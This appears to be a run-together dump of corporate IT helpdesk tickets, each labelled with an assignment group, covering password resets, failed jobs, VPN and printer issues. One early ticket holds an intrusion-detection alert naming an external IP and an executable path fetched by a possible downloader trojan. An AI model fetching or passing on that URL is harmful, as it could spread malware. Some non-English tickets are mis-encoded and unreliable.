, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_66 : volume: f:\ label:dat1-HostName\_66 9a625d75 is over 85% space consumed. space available: 1.27 m, Description: HostName\_66 : volume: f:\ label:dat1-HostName\_66 9a625d75 is over 85% space consumed. space available: 1.27 m, is assigned to Assignment group: GRP\_12.Ticket with Short description: security incidents - ( #in33987594) : 29866 vid22518 bare http get executable from ip address (possible downloader), Description: source ip :\_x000D\_
system name :\_x000D\_
user name:\_x000D\_
location :\_x000D\_
sep , sms status :\_x000D\_
field sales user ( yes / no) : \_x000D\_
dsw event log:\_x000D\_
-------------------------------------------------------------------------------------------------------------------\_x000D\_
event detail(s):\_x000D\_
\_x000D\_
event\_id 417013204:\_x000D\_
[\*\*] [1:21130977:10] 29866 vid22518 bare http get executable from ip address (possible downloader trojan) [\*\*]\_x000D\_
[classification: none] [priority: 2] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 602982][event id: 281895][time: 2585087487.272206]\_x000D\_
[xref => vid, 22518]\_x000D\_
[src ip: 10.1.43.79][dst ip: 94.102.53.238][sport/itype: 61007][dport/icode: 80][proto: 6]\_x000D\_
09/27/2016-11:39:36.272206 10.1.43.79:61007 -> 94.102.53.238:80\_x000D\_
tcp ttl:127 tos:0x0 id:16297 iplen:20 dgmlen:119 df\_x000D\_
\*\*\*ap\*\*\* seq: 0xfbc9dc8c ack: 0xe57c9433 win: 0x102 tcplen: 20\_x000D\_
==pcap s==\_x000D\_
=0c=00=00=00xz=eawn'=04=00w=00=00=00w=00=00=00e=00=00w?=a9@=00=7f=06=f23=0a=01+o^f5=ee=eeo=00p=fb=c9=dc=8c=e5|=943p=18=01=02=d4=3d=00=00get /~yahoo/csrsv.exe http/1.1=0d=0ahost: 94.102.53.238=0d=0aconnection: keep-alive=0d=0a=0d=0a\_x000D\_
==pcap e==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /~yahoo/csrsv.exe]\_x000D\_
\_x000D\_
[ex http\_hostname 10: 94.102.53.238]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
[correlation\_data]\_x000D\_
sep 27 06:01:47 71.80.15.0714 dhcpd[12774]: dhcpack on 10.1.43.79 to c4:8e:8f:f6:4a:e5 (lhql8516405) via eth1 relay 10.1.40.8 lease-duration 14400 (renew)\_x000D\_
\_x000D\_
lowercaseurlcorrelation : /~yahoo/csrsv.exe\_x000D\_
srcip : 10.1.43.79\_x000D\_
urlcorrelation : /~yahoo/csrsv.exe\_x000D\_
vendorreference : vid, 22518\_x000D\_
foreseeconndirection : outgoing\_x000D\_
refererproxycorrelationurl : null\_x000D\_
foreseeexternalip : 94.102.53.238\_x000D\_
eventtypeid : 200020003203113798\_x000D\_
unique\_event\_hash : 946134710\_x000D\_
ontologyid : 200020003203728796\_x000D\_
foreseeinternalip : 10.1.43.79\_x000D\_
urlpath : /~yahoo/csrsv.exe\_x000D\_
srchostname : lhql8516405\_x000D\_
inspectorruleid : 277082\_x000D\_
inspectoreventid : 077564517\_x000D\_
httpmethod : get\_x000D\_
netacuity\_destination\_organization : ecatel ltd\_x000D\_
vendoreventid : 281895\_x000D\_
device\_id : 2550522\_x000D\_
foreseemaliciousprobability : 0.0846984\_x000D\_
event\_summary : 29866 vid22518 bare http get executable from ip address (possible downloader trojan)\_x000D\_
tcpflags : \*\*\*ap\*\*\*\_x000D\_
agentid : 102805\_x000D\_
srchostname : lhql8516405\_x000D\_
cvss : -1\_x000D\_
foreseedstipgeo : den dolder,nld\_x000D\_
devip : 10.32.100.17\_x000D\_
inlineaction : 2\_x000D\_
proto : tcp\_x000D\_
dstport : 80\_x000D\_
vendorpriority : 2\_x000D\_
ileatdatacenter : true\_x000D\_
vendorsigid : 29866\_x000D\_
srcport : 61007\_x000D\_
globalproxycorrelationurl : csrsv7\_x000D\_
host : 94.102.53.238\_x000D\_
dstip : 94.102.53.238\_x000D\_
source\_network\_type : internal\_x000D\_
url : 94.102.53.238/~yahoo/csrsv.exe\_x000D\_
urlfullpath : /~yahoo/csrsv.exe\_x000D\_
urlhost : 94.102.53.238\_x000D\_
irreceivedtime : 1474976715927\_x000D\_
action : not blocked\_x000D\_
ctainstanceid : 0\_x000D\_
vendorversion : 7\_x000D\_
httpversion : http/1.1\_x000D\_
logtimestamp : 2585087487\_x000D\_
foreseemaliciouscomment : negativeevaluationthreshold:0.0181;positiveevaluationthreshold:1;modelversion:854922;classifiertype:naivebayes;annotatorlist:action-not blocked->0.7719~0.8136|eventtypeid-200020003203113798->0.0005~0.0001|ontologyid-200020003203728796->0.0005~0.0001;evaluationmodels->nb-global-model:0.9736:0.0181;\_x000D\_
netacuity\_destination\_isp : ecatel ltd\_x000D\_
device\_network\_type : internal\_x000D\_
srcmacaddress : c4:8e:8f:f6:4a:e5\_x000D\_
sherlockruleid : 690393\_x000D\_
eventtypepriority : 3, is assigned to Assignment group: GRP\_3.Ticket with Short description: HostName\_1379 : volume: c:\ label:sys-HostName\_1379 28385a7b is over 85% space consumed. space available: 3.7 g, Description: HostName\_1379 : volume: c:\ label:sys-HostName\_1379 28385a7b is over \_x000D\_
85% space consumed. space available: 3.7 g, is assigned to Assignment group: GRP\_8.Ticket with Short description: hp2çƒ­åŽ‹ç‚‰æ•°æ®ä¼ è¾“å¡ï¼Œæ•°æ®æ›´æ–°ä¸å‡ºæ¥ï¼Œè¯·å¸®æˆ‘è½¬ç»™å°è´º, Description: hp2çƒ­åŽ‹ç‚‰æ•°æ®ä¼ è¾“å¡ï¼Œæ•°æ®æ›´æ–°ä¸å‡ºæ¥ï¼Œè¯·å¸®æˆ‘è½¬ç»™å°è´º, is assigned to Assignment group: GRP\_30.Ticket with Short description: zpononpo mp's data is incorrect., Description: zpononpo mp's data is incorrect., is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_2645 failed in job\_scheduler at: 09/28/2016 03:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2645 failed in job\_scheduler at: 09/28/2016 03:35:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: question - who is taking care on report zzsdspc7?, Description: i've realised that 1,131 not needed customer stock buckets are not needed.\_x000D\_
the customer order are already completed but the stock is reserved for these orders.\_x000D\_
therefore stock will sit there for ever.\_x000D\_
\_x000D\_
would you please address to the people responsible.\_x000D\_
that would allow us to reduce stock level.\_x000D\_
, is assigned to Assignment group: GRP\_54.Ticket with Short description: user creation and deletion on droracle , HostName\_1317 and HostName\_1316, Description: create users : 1. unix team 2. user with sudo privileges for trayton and neal.\_x000D\_
server : droracle \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
delete users : 1. markhty snyder 2. gptmrqzu muiqteyf 3. pollaurid griener \_x000D\_
server : HostName\_1317 , HostName\_1316 , droracle \_x000D\_
, is assigned to Assignment group: GRP\_47.Ticket with Short description: not able to upload the engineering\_tool with any or the vpn or vpn, Description: \_x000D\_
\_x000D\_
received from: nmqgrkex.ldeizfrm@gmail.com\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35982.4b39fca0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: passwort frau koburvmc jwzlebap #51117, Description: \_x000D\_
\_x000D\_
received from: mobaidfx.gviwlsrm@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
frau rieÃŸ wird ab dienstag, 4. oktober wieder ihre arbeit beginnen.\_x000D\_
\_x000D\_
bitte passwort neu vergeben.\_x000D\_
\_x000D\_
frau rieÃŸ wird voraussichtlich von 8.00 bis 10.00 uhr im bÃ¼ro erreichbar sein.\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: bridgex from lacw8515941 - monitoring\_tool robot transaction down, Description: bridgex from lacw8515941 - monitoring\_tool robot transaction down\_x000D\_
\_x000D\_
"copy of netperfmon event log : transaction 'bridgex from lacw8515941' is down. reason: step 'uploading excel file step 2' failed: element 'file upload field' was not found" action was executed successfully \_x000D\_
\_x000D\_
\_x000D\_
hi team,\_x000D\_
\_x000D\_
we got the above alert in monitoring\_tool, checked with basis team and there is no issues from their side.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_60.Ticket with Short description: both the numbers for gso are not working., Description: both the numbers for gso are not working.\_x000D\_
germany : (49) 6003-827-7333\_x000D\_
usa : (1) 724-539-5226 or 800-848-1135 \_x000D\_
\_x000D\_
calls are landing on the phones but caller can not hear anything.\_x000D\_
communication is one way. (agent can hear but not caller), is assigned to Assignment group: GRP\_7.Ticket with Short description: network outage : kingston pa site is down since 2:10 am et on 09/28., Description: what type of outage: \_x\_\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_2:10 am et on 09/28.\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_noi\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: printer prtsg004, Description: \_x000D\_
\_x000D\_
received from: bcxpeuko.utorqehx@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
please help me to confirm printer prtsg004 as we are not able to configure from our side.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue p 11, passwort zurÃ¼ck setzen, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): p 11\_x000D\_
\_x000D\_
enter user id of user having the issue: reisenkostenabrechnung nicht mÃ¶glich, da zu viele falsche anmeldungen, bitte passwort zurÃ¼ck setzen. danke \_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with:\_x000D\_
\_x000D\_
describe the issue:\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: reactivate ruenzm - it is our ceo (usa - deloro group) - it is urgent, Description: reactivate ruenzm - it is our ceo (usa - deloro group) - it is urgent, is assigned to Assignment group: GRP\_2.Ticket with Short description: outlook - indizierung, Description: ich kann seit ca. 1 woche meine suche im outlook nicht verwenden, da der hinweis "ihre elemente werden zurzeit von outlook indiziert" erscheint.\_x000D\_
habe auch meinen pc, mit geÃ¶ffnetem outlook, Ã¼bers wochenende laufen lassen, doch bisher immer das gleiche.\_x000D\_
aktuell mÃ¼ssen noch 10.809 elemente indiziert werden.\_x000D\_
gestern waren es ca. 2.500 elemente.\_x000D\_
ich habe somit massive probleme, da ich mails von vor einem jahr bis jetzt mit der suchfunkton nicht finden kann., is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock erp account (user id: murakt), Description: please unlock my erp account (user id: murakt), is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3186 failed in job\_scheduler at: 09/28/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3186 failed in job\_scheduler at: 09/28/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: login blocked, Description: \_x000D\_
\_x000D\_
received from: ublisodp.qydfvpgw@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
i am not able to login to business\_client due to wrong password.\_x000D\_
pl unblock and let me know the existing password to reset the same with new password.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: out look is not opening, Description: out look is not opening , showing error message couldn't able to access mail, is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to login to ess protel , Description: unable to login to ess portal , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to windows , Description: unable to login to windows , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for knemilvx dvqtziya using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: atp for mm 4870517 issue, Description: \_x000D\_
\_x000D\_
received from: qgrbdnoc.dgupnhxv@gmail.com\_x000D\_
\_x000D\_
hello,sirs\_x000D\_
\_x000D\_
we had a schedule agreement 4111336752 about mm 4870517\*720pcs which request delivery time is in 10/11, and the stocks can meet our agreement, but in 9/23, there is 35050345 4870517\*4280pcs created in plant\_283, and then it took our all current plant\_283 stock, and only confirmed us 700pcs as below which cannot meet the customer's demand , so we want to check what is the current rule about the confirm date, why the stock meet the back order not the previous order?\_x000D\_
[cid:image001.png@01SID\_35977.b52c2ee0]\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 09/27/2016 22:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 09/27/2016 22:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_56filesys failed in job\_scheduler at: 09/27/2016 22:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_56filesys failed in job\_scheduler at: 09/27/2016 22:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ba02 printer still keep printing some error task\_please help, Description: we've faced the problem ie. the printer ba02 do keep printing the job which is wrongly assigned by some user (vvkujup). we turned off the printer and lan by yesterday evening , and turn-on printer and plug lan this morning, however the printer do still printing such jobs. as checked with local printer team, he suggested to change ip address at ba02 as attached . please help us stop such error printing and advise back to us aerp., , is assigned to Assignment group: GRP\_5.Ticket with Short description: erp-mae windows ad account is locked., Description: erp-mae ad account is locked and hana production jobs are failing. unlock immediately and share the root-cause.\_x000D\_
please assign to safrgyynjit or team and reach them immediately on call., is assigned to Assignment group: GRP\_2.Ticket with Short description: ask zwip report, Description: when i sae the zwip report. the sales order35049170 / 060 is not shown customer and sales order as well\_x000D\_
please, check the reason and let me know how to show above information in zwip.\_x000D\_
- plant : plant\_68\_x000D\_
- prodcution order : 226043035 , is assigned to Assignment group: GRP\_45.Ticket with Short description: win8.1 ç³»ç»Ÿæç¤ºæ›´æ–°åŽï¼Œæ‰€æœ‰åº”ç”¨è½¯ä»¶éƒ½ä¸èƒ½æ‰“å¼€ã€‚, Description: win8.1 ç³»ç»Ÿæç¤ºæ›´æ–°åŽï¼Œæ‰€æœ‰åº”ç”¨è½¯ä»¶éƒ½ä¸èƒ½æ‰“å¼€ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: job Job\_3186 failed in job\_scheduler at: 09/27/2016 20:49:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3186 failed in job\_scheduler at: 09/27/2016 20:49:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: metal cutting technology p/l (company zqt 2005137185, Description: hi team,\_x000D\_
\_x000D\_
i have created the attached quote, however, it is not up showing correctly (see attached). can you please fix this as soon as possible? , is assigned to Assignment group: GRP\_13.Ticket with Short description: ç”¨å‹-åº“å­˜å¸å’ŒçŽ°å­˜é‡ä¸ç¬¦, Description: ç”¨å‹-åº“å­˜å¸å’ŒçŽ°å­˜é‡ä¸ç¬¦ï¼Œäº§å“ç¼–ç ï¼š112001960200ï¼Œåº“å­˜å°è´¦15kgï¼ŒçŽ°å­˜é‡75kg, is assigned to Assignment group: GRP\_48.Ticket with Short description: job Job\_3186 failed in job\_scheduler at: 09/27/2016 20:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3186 failed in job\_scheduler at: 09/27/2016 20:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: download issue, Description:
received from: uezonywf.rldbvipu@gmail.com
i am trying to download the software to do tooling reports on my company dell 2 in 1 and i keep getting error messages. i assume someone will have to take remote access of my computer to see what is going on.
tommyth duyhurmont
channel partner sales engineer
company inc.
uezonywf.rldbvipu@gmail.com<mailto:uezonywf.rldbvipu@gmail.com>
www.company.com<
www.company.com/engineering\_tool/en/home.html
[
, is assigned to Assignment group: GRP\_19.Ticket with Short description: i have another shipment that will not process, Description: commodity details error the same as inc1552879 \_x000D\_
dn 9169306896\_x000D\_
sto 5019278106\_x000D\_
this consignment is urgent so can it be resolved quickly please?, is assigned to Assignment group: GRP\_18.Ticket with Short description: cannot connect, Description: \_x000D\_
\_x000D\_
received from: vjuxfokc.cwhxnoug@gmail.com\_x000D\_
\_x000D\_
for some reason i cannot connect to the vpn?\_x000D\_
i have tried my usual username and password but it is not working?\_x000D\_
\_x000D\_
\_x000D\_
[cid:image005.jpg@01SID\_3595f.59714a30]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1142 failed in job\_scheduler at: 09/27/2016 18:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1142 failed in job\_scheduler at: 09/27/2016 18:05:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: user getting prompt to upgrade java., Description: user getting prompt to upgrade java.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-advised the user to complete the installation.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp business workplace inbox is not working, Description: erp inbox for smitrtgcj1 is not working. i have created a background report to run and deliver to my erp inbox but it is not delivering.
i have also tried to create a mail thru the erp inbox and send to myself and i get the error erp user <christgry smhdyhti> does not exist even though i show up in the soplant\_49 transaction., is assigned to Assignment group: GRP\_11.Ticket with Short description: custom quote. at saving receive error message of "enter rate/usd rate type m for 9/27 in the system settings, Description: name:lagqcompanyo xqtldrcs
language:
browser:microsoft internet explorer
email:lagqcompanyo.xqtldrcs@gmail.com
customer number:
telephone:
summary:custom quote. at saving receive error message of "enter rate/usd rate type m for 9/27 in the system settings
=====see attachment ====================, is assigned to Assignment group: GRP\_13.Ticket with Short description: business\_client issue, Description: 1.) briefly describe what you were trying to do and the issue you have encountered.\_x000D\_
i am trying to access material drawings but am getting an error message when i log in (see attached)\_x000D\_
2.) please include a screenshot of any error messages, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1129conf\_s failed in job\_scheduler at: 09/27/2016 16:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1129conf\_s failed in job\_scheduler at: 09/27/2016 16:40:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: can you reset my password for SID\_37, Description: name:fybwjzhx ojgrpafb
language:
browser:microsoft internet explorer
email:fybwjzhx.ojgrpafb@gmail.com
customer number:
telephone:
summary:can you reset my password for SID\_37, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for fueiklyv jargqpkm on erp / production / bw, Description: please reset my password, is assigned to Assignment group: GRP\_0.Ticket with Short description: i installed the analysis for microsoft excel in erp business intelligence and i am getting an error message, Description: i am able to open the analysis for microsoft excel but when i click on log in to erp business objects i get an error message that says "the launcher is exited with error, see log file for more details. the analysis add-in is not registered correctly." when i click on logfile folder, i get a dialog box that ways "windows can't open this file: file: launcher\_log\_8056.glf" and asked me to find the programdnty to open the file., is assigned to Assignment group: GRP\_0.Ticket with Short description: channel management claim issue , Description: claim 845354 is approved but is not showing up in settlement list. can not get credit to generate.
also can not reject in order to create a new claim. i created a new claim to replace but have concerns with proceeding to process if i cant reject the first -
please advise, as we owe the customer their credit. new claim 845691, is assigned to Assignment group: GRP\_15.Ticket with Short description: job Job\_1146a failed in job\_scheduler at: 09/27/2016 16:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1146a failed in job\_scheduler at: 09/27/2016 16:00:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm addin boxes dont stay checked, Description: gso please reach out to lryturhy to correct his addin issue. after rechecking his crm addin boxes and closing outlook, they become unchecked again and the addin portion of the ribbon dierppears., is assigned to Assignment group: GRP\_0.Ticket with Short description: expense report blocked, Description: expense report blocked, is assigned to Assignment group: GRP\_0.Ticket with Short description: working on the fax lines in usa to see if we can do them without having to order any parts, Description: working on the fax lines in usa to see if we can do them without having to order any parts, is assigned to Assignment group: GRP\_7.Ticket with Short description: outlook not working, was ok this morning, but will not let me back in now, Description: outlook down
wlhxrogv yawtxuod , is assigned to Assignment group: GRP\_0.Ticket with Short description: working on getting his new laptop ready for him, Description: working on getting his new laptop ready for him, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to load outlook, Description: unable to load outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: business objects analysis errors, Description: i recently changed my work computer from an 8gb "business" model to a 16gb "engineering" model. i frequently use business objects analysis for excel. when opening files that i have saved that use data connections, i am running into an error that prompts me to try and "migrate" the connection from odbc to http. see attached error. because i am not familiar with this, i cannot refresh data on old workbooks. can someone assist? , is assigned to Assignment group: GRP\_0.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3194 failed in job\_scheduler at: 09/27/2016 14:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3194 failed in job\_scheduler at: 09/27/2016 14:15:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: (srvlavpwdrprd01.company.company.com) is not responding, this is our calibration system, need up aerp, Description: (srvlavpwdrprd01.company.company.com) is not responding, this is our calibration system, need up aerp, is assigned to Assignment group: GRP\_61.Ticket with Short description: netweaver access, Description: \_x000D\_
\_x000D\_
received from: oqvwgnkc.gkjylpzx@gmail.com\_x000D\_
\_x000D\_
hello. can someone help me with netweaver access?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for fueiklyv jargqpkm on erp / production / erp, Description: i tried using my windows login password but it is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype certificate error , Description: skype certificate error, is assigned to Assignment group: GRP\_0.Ticket with Short description: dealer open orders are appearing in vkm4 , Description: hi,
please raise it ticket. all dealer open orders are appearing in vkm4 â€“ credit check even though the credit utilization is within the limits. this started after changing the credit terms as z060 to all open orders.
gajthyana hegdergyt
manager- finance
miecoszw.mhvbnodw@gmail.com
for technical assistance: / in.techsupport@company.com
, is assigned to Assignment group: GRP\_10.Ticket with Short description: client 0819 company, inc / rejected edi inwarehouse\_tool # 0006475468, Description: from: nihtykki mcgyuouald
sent: tuesday, september 27, 2016 8:50 pm
to: nwfodmhc exurcwkm
subject: amar fw: client 0819 company, inc / rejected edi inwarehouse\_tool # 1117586579
hello,
please check into the below edi file to see why it was rejected from our system. they have provided the technical support below.
, is assigned to Assignment group: GRP\_32.Ticket with Short description: pr - workflow, Description: from: grhryueg dewicrth
sent: tuesday, september 27, 2016 7:37 pm
to: nwfodmhc exurcwkm
subject: amar fw: pr - workflow
hello it help,
can you help â€“ please see the image in the email below â€“ there is a workflow that i need to process but it will not give me an approve or reject option and will not pull up the details in the portal.
i am also accessing it from outside of company as i am traveling for work.
, is assigned to Assignment group: GRP\_29.Ticket with Short description: new laptop setup, Description: help to create and configure the user login profile and outlook., is assigned to Assignment group: GRP\_19.Ticket with Short description: ticket update on inplant\_864352, Description: ticket update on inplant\_864352, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to view data in distributor\_tool account, Description: unable to view data in distributor\_tool account, is assigned to Assignment group: GRP\_0.Ticket with Short description: dock station- telephony\_software ip phone, Description: request for install the dock station and ip phone for the telephony\_software application, is assigned to Assignment group: GRP\_19.Ticket with Short description: the termination action for johhdyanna kadyuiluza has completed., Description: hello ,
a termination for johhdyanna kadyuiluza, 2111165258, effective 09.09.2016 has been approved.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_1129conf\_s failed in job\_scheduler at: 09/27/2016 12:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1129conf\_s failed in job\_scheduler at: 09/27/2016 12:40:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: vpn connectivity is too slow, Description: vpn connectivity is too slow, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn disconnecting, Description: vpn disconnecting, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp-mae id seems to be locked in hana SID\_60, Description: erp-mae id seems to be locked in hana SID\_60
request for unlock., is assigned to Assignment group: GRP\_53.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_3.Ticket with Short description: printer not printing, Description: name:xernsfqa uzvsnlbd
language:
browser:microsoft internet explorer
email:xernsfqa.uzvsnlbd@gmail.com
customer number:
telephone:
summary:i am receiving error messages when trying to update my printer drivers. i'm unable to print to the printers i need to utilize, dg16 and dg10., is assigned to Assignment group: GRP\_0.Ticket with Short description: my outlook will not work on my computer. this was since my password change. it works on my phone but not my laptop., Description: bsxvtpke vbfcashd
cell
system affected is dell laptop --outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1142 failed in job\_scheduler at: 09/27/2016 12:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1142 failed in job\_scheduler at: 09/27/2016 12:05:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to company secure in usa, Description: unable to connect to company secure in usa, is assigned to Assignment group: GRP\_0.Ticket with Short description: update on ticket\_no1555136 , Description: name:dfgtyon stasrty
language:
browser:microsoft internet explorer
email:vsbtygin.oufhtbas@gmail.com
customer number:
telephone:
summary:can we get this ticket ticket\_no1555136 completed today? i need to be able to get this site up. thank u, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_864348, Description: ticket update on inplant\_864348, is assigned to Assignment group: GRP\_0.Ticket with Short description: inwarehouse\_tools are not automatically being sent to helical when referenced to contracts, Description: customer 81371659, sales org 1204, have inwarehouse\_tools automatically set to be emailed, this works for standard orders, zkb and zke's order types, but when an order is referenced to a contract, they are not being transmitted, the partners in the order is correct, but on the inwarehouse\_tool it is the same as the sold to party. please see attached for examples., is assigned to Assignment group: GRP\_13.Ticket with Short description: ticket update - inplant\_862976, Description: ticket update - inplant\_862976, is assigned to Assignment group: GRP\_0.Ticket with Short description: SID\_37 password, Description: \_x000D\_
\_x000D\_
received from: czsmnbdi.ispdhfer@gmail.com\_x000D\_
\_x000D\_
please reset my password in SID\_37, see msg below.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: hello, i am have problems running open sales backorder report data will not download past 9/22., Description: hello, i am have problems running open sales backorder report data will not download past 9/22., is assigned to Assignment group: GRP\_13.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: programdnty zfiu0007 problem with credits not being issued on some accounts, Description: we have some accounts where tax is not being issued and they are coded to the reason code 250 code that is part of this job. i have attached examples. , is assigned to Assignment group: GRP\_10.Ticket with Short description: unable to set up skype meetings, Description: unable to set up skype meetings, is assigned to Assignment group: GRP\_0.Ticket with Short description: rechner ewew8323527 \bluescreen \wrcktgbd wzrgyunp, Description: rechner ewew8323527 \bluescreen \wrcktgbd wzrgyunp, is assigned to Assignment group: GRP\_24.Ticket with Short description: reinstall hardkopy we\_wu116 \wrcktgbd wzrgyunp, Description: reinstall hardkopy we\_wu116 \wrcktgbd wzrgyunp, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit hp4050 \fehler 41.1 \lxvunpiz mgjxwept, Description: probleme mit hp4050 \fehler 41.1 \lxvunpiz mgjxwept, is assigned to Assignment group: GRP\_24.Ticket with Short description: rechner ewew8323612 sehr langsam .\lxvunpiz mgjxwept, Description: rechner ewew8323612 sehr langsam .\lxvunpiz mgjxwept, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \sgnubadl gpkovbah, Description: setup new ws \sgnubadl gpkovbah, is assigned to Assignment group: GRP\_24.Ticket with Short description: unable to connect to tc78 and 